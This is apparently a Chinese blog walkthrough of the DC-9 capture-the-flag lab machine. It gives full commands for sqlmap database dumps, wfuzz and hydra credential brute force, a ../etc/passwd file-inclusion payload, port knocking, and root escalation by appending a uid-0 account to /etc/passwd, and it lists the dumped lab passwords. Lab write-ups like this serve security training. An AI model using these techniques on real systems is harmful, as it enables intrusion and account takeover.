DC-9 靶场

 靶机地址:链接:https://pan.baidu.com/s/1kMLviFtz2JosS422-L1Tgw
提取码:c5ur

 1.主机发现

nmap -sP 192.168.128.1/24
arp-scan -l               #得到IP    192.168.128.131

2.端口扫描

nmap -p 1-65535 -A 192.168.128.131        # 22 80端口

 3.目录扫描

dirb http://192.168.128.131
或者nikto -host 192.168.128.131    这个查询到了config.php   但是打不开

 4.操作网站找信息

#发现查询点:
万能密码注入尝试:' or 1=1 -- -
#F12看到是post请求,抓包看到search参数
sqlmap -u "http://192.168.128.131/results.php" --data "search=1" --dbs    查看所有的库名
sqlmap -u "http://192.168.128.131/results.php" --data "search=1" -D users --tables
sqlmap -u "http://192.168.128.131/results.php" --data "search=1" -D users -T UserDetails --columns
sqlmap -u "http://192.168.128.131/results.php" --data "search=1" -D users -T UserDetails --dump
这里更推荐直接全部dump 
##notepad可以直接按住alt区域选择复制,这样可以把很多的账密分开做成字典。
#暴力破解:WFuzz
wfuzz -z file,name.txt -z file,password.txt -d "username=FUZZ&password=FUZ2Z" http://192.168.128.131/manage.php #这里POST请求必须使用 -d   
wfuzz -z file,name.txt -z file,passwd.txt --hw 93 -d "username=FUZZ&password=FUZ2Z" http://192.168.128.131/manage.php
wfuzz -z file,name.txt -z file,passwd.txt --hh 1248 -d "username=FUZZ&password=FUZ2Z" http://192.168.128.131/manage.php
#没找到
**#尝试第二个数据库 Staff的信息。**
sqlmap -u "http://192.168.128.131/results.php" --data "search=1" -D Staff -T Users  --dump
#找参数    #尝试了hw hh 的过滤方式,找不到对应的参数。  FUZZ后面带文件名(index.php,etc/passwd等),不带都尝试,考虑是字典还是参数不对。最后,想到回到根目录的   etc/passwd  使用../  
wfuzz -b 'PHPSESSID=in952k2in45a06pcdmht1aepi3' --hw 100 -w /usr/share/wfuzz/wordlist/general/common.txt http://192.168.128.131/manage.php?FUZZ=../../../../../../etc/passwd

 5.爆破登录

#看到很多操作系统账号密码。这里爆破操作系统的账号密码。但是并不行
hydra -L name.txt -P passwd.txt 192.168.128.131 ssh  
**#22端口打开了,但是不能连接的原因?**
**1. 防护墙**
**2.所选用户不能使用22端口登录**
**3.linux服务:敲门 Knockd,确认方式:文件位置    /etc/knockd.conf    访问文件看到7469 **
**#用nmap对应敲门,只要访问了,就会打开的端口**
**nmap -p 7469 192.168.128.131**
**nmap -p 8475 192.168.128.131**
**nmap -p 9842 192.168.128.131**
#再次使用hydra爆破:  这里发现保存的字典,不能有任何空格
hydra -L name-dict -P passwd-dict 192.168.128.131 ssh
#登录
ssh janitor@192.168.128.131 输入密码即可
#登录成功还是老操作。看东西:
1. history
2. ls -a 
3。 sudo -l
#发现密码,放到字典。继续hydra爆破:
hydra -L name-dict -P passwd-dict 192.168.128.131 ssh
**#登录成功,重复操作,sudo -l有信息:以root的身份执行操作程序**
./opt/devstuff/dist/test/test   执行   #python test.py read append   读取内容追加内容的意思
#怎么找test.py的文件位置?
find / - name "test.py" 
find / -name "test.py" 2>/dev/null   # 2代表标准错误输出,过滤到某地
cat /opt/devstuff/test.py

 6.提取

#/etc/passwd的文件格式:密码是x的原因,在/etc/shadow里面,放在etc/passwd也可以
#第三位和第四位的数字是uid和gid,root用户是0 
#第五位是用户描述,第六位是用户的工作目录,第七位命令 解释程序(执行命令的工具)
**这里提取思路:创建一个用户    把uid和gid都设为0即可,加密方式得是hash加密。利用python的脚本,追加到test.py**
openssl passwd  -1 -salt  admin 123456       $1$admin$LClYcRe.ee8dQwgrFc5nz.
完整的账密应该是:  admin:$1$admin$LClYcRe.ee8dQwgrFc5nz.
admin:$1$admin$LClYcRe.ee8dQwgrFc5nz.:0:0::/root:/bin/bash    最后的解释脚本目录
在有权限的用户的下输入  echo 'admin:$1$admin$LClYcRe.ee8dQwgrFc5nz.:0:0::/root:/bin/bash' >> /tmp/passwd
sudo ./test /tmp/passwd  /etc/passwd 
#可以看到新增了一个用户
cat /etc/passwd  
su root
输入密码

7.笔记本:(记录收集到的信息和思路)

22/tcp filtered ssh
80/tcp open     http    Apache httpd 2.4.38 ((Debian))   #有apache   有/var/www目录
网页主页有一堆个人信息
目录扫描:
==> DIRECTORY: http://192.168.128.131/css/                                                                          
==> DIRECTORY: http://192.168.128.131/includes/   #没用

+---------------+-----------+
| password      | username  |
+---------------+-----------+
| 3kfs86sfd     | marym     |
| 468sfdfsd2    | julied    |
| 4sfd87sfd1    | fredf     |
| RocksOff      | barneyr   |
| TC&TheBoyz    | tomc      |
| B8m#48sd      | jerrym    |
| Pebbles       | wilmaf    |
| BamBam01      | bettyr    |
| UrAG0D!       | chandlerb |
| Passw0rd      | joeyt     |
| yN72#dsd      | rachelg   |
| ILoveRachel   | rossg     |
| 3248dsds7s    | monicag   |
| smellycats    | phoebeb   |
| YR3BVxxxw87   | scoots    |
| Ilovepeepee   | janitor   |
| Hawaii-Five-0 | janitor2  |
+---------------+-----------+
第一个数据库账密不行     换数据库查
admin  transorbital1
看到一个。。。。**File does not exist  **
**考虑考虑文件包含---》找参数。。**
这里**注意:在登录时找参数,所以,直接用wfuzz找参数是一个没登陆的状态。带上cookie值,才是以登录的状态查找cookie值**
参数为     "file"

[22][ssh] host: 192.168.128.131   login: chandlerb   password: UrAG0D!
[22][ssh] host: 192.168.128.131   login: joeyt   password: Passw0rd
[22][ssh] host: 192.168.128.131   login: janitor   password: Ilovepeepee
后面收集到的
login: fredf   password: B4-Tru3-001

import sys


if len (sys.argv) != 3 :
    print ("Usage: python test.py read append")
    sys.exit (1)


else :
    f = open(sys.argv[1], "r")
    output = (f.read())


    f = open(sys.argv[2], "a")
    f.write(output)
    f.close()
读取任意文件内容,追加到任意文件中去
  • 1
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值